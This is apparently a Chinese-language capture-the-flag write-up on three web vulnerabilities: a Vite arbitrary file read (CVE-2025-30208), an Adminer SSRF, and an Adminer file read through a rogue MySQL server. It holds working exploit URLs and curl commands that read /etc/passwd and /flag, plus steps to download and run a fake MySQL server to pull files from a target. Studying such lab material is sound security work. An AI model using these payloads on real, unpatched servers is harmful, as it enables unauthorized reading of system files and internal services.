CVE

[CVE-2025-30208] Vite任意文件读取漏洞

http://[目标IP]:[目标端口]/etc/passwd?raw??
http://[目标IP]:[目标端口]/@fs/etc/passwd?import&raw??
受漏洞影响的版本范围    漏洞修复版本范围
(Affected versions)	(Patched versions)
>=6.2.0, <=6.2.2	>=6.2.3
>=6.1.0, <=6.1.1	>=6.1.2, <6.2.0
>=6.0.0, <=6.0.11	>=6.0.12, <6.1.0
>=5.0.0, <=5.4.14	>=5.4.15, <6.0.0
<=4.5.9	                >=4.5.10, <5.0.0
flag 在 /flag 中

漏洞描述:

Vite 是一个现代前端构建工具,为 Web 项目提供更快、更精简的开发体验。它主要由两部分组成:具有热模块替换(HMR)功能的开发服务器,以及使用 Rollup 打包代码的构建命令。在 Vite 6.2.3、6.1.2、6.0.12、5.4.15 和 4.5.10 版本之前,用于限制访问 Vite 服务允许列表之外的文件的 server.fs.deny 功能可被绕过。通过在 URL 的 @fs 前缀后增加 ?raw???import&raw??,攻击者可以读取文件系统上的任意文件。

首先是正常访问我们的文件

curl "http://container.ctf.abstrax.cn:30211/@fs/flag"

可以看到我们访问失败了

尝试在 url 的 @fs 前缀后增加 ?raw?? 或者?import&raw??

curl "http://container.ctf.abstrax.cn:30211/@fs/flag?raw??"
curl "http://container.ctf.abstrax.cn:30211/@fs/flag?import&raw??"

可以看到 /flag 文件被读取成功。

也可以通过 curl "http://container.ctf.abstrax.cn:30212/flag?raw??" 来读取 /flag 目录。

参考:Vite 任意文件读取漏洞(CVE-2025-30208)-先知社区

SSRF

漏洞定义与本质:

什么是 ssrf ?

服务器端请求伪造(Server-Side Request Forgery,简称SSRF)是一种由攻击者构造并由服务端发起请求的安全漏洞。与客户端请求伪造 CSRF 不同,SSRF 利用的是服务器的权限和信任关系,使服务器成为攻击的”代理人”。本质上,SSRF 是一种”服务器被动代理攻击”,攻击者通过操纵服务器,使其向攻击者指定的目标发送请求。

SSRF 漏洞的独特之处在于,它能够绕过网络隔离限制,访问那些原本无法从外部网络直接访问的资源。这些资源可能包括内部网络服务、云服务元数据、本地文件系统等。

SSRF 形成原因与本质

SSRF 漏洞形成的根本原因是服务端应用程序在处理用户可控的 URL 或资源地址时,没有实施足够的验证和限制。当应用程序需要从其他服务器获取数据(如图片、文件、API响应等)时,如果直接使用用户提供的 URL 而不进行严格过滤,就可能导致SSRF漏洞。

[CVE-2021-21311] Adminer SSRF

Adminer是一个PHP编写的开源数据库管理工具,支持MySQL、MariaDB、PostgreSQL、SQLite、MS SQL、Oracle、Elasticsearch、MongoDB等数据库。

在其4.0.0到4.7.9版本之间,连接 ElasticSearch 和 ClickHouse 数据库时存在一处服务端请求伪造漏洞(SSRF)。

你的任务:靶机除了运行一个 PHP 环境(安装有 Adminer 4.7.8,可直接访问),还在本地 8888 端口运行一个 web 服务(仅限靶机内部访问),访问这个 web 服务的首页获取 flag。

参考连接:

目标服务器上有一个服务,不对外开放,比如有一个网页,不能在外部访问;或者在访问的时候,检查访问者是不是 localhost/127.0.0.1也就是自身。

而 ssrf 就是,让服务器发送请求到这些不能外部访问的服务,然后把请求结果带出来

比如这道题,靶机运行了两个服务,一个是 adminer,可以直接访问。还有一个是8888端口上的 web 服务,仅靶机内部访问,我们访问不到。所以我们需要让 adminer 向8888端口发送请求,并显示结果。而本地的服务通过 localhost 访问。

我们想要用靶机上的 adminer 访问靶机上的 8888 端口,因为是同一个机器,所以用 localhost:8888 就可以访问到靶机的8888端口了:

[CVE-2021-43008] Adminer Fileread

Adminer是一个PHP编写的开源数据库管理工具,支持MySQL、MariaDB、PostgreSQL、SQLite、MS SQL、Oracle、Elasticsearch、MongoDB等数据库。

在其版本1.12.0到4.6.2之间存在一处因为MySQL LOAD DATA LOCAL导致的文件读取漏洞。

你的任务:读取服务器上的 /flag 文件内容

参考链接:

需要一台带有公网 ip 的服务器,然后访问 mysql-fake-server 才能启动一个恶意 MySQL 服务,请求到靶机。

mysql-fake-server 下载地址:

https://github.com/4ra1n/mysql-fake-server/releases/download/0.0.4/fake-mysql-cli-0.0.4.jar

然后使用 wget 下载。

然后使用命令启动 java -jar fake-mysql-cli-0.0.4.jar -p 8080

然后在 Adminer 里面的服务器字段填写你的可用服务器 ip ,然后用 fileread_/flag 读取 /flag 文件内容

回到服务器很明显可以看到读取 /flag 成功,

上一篇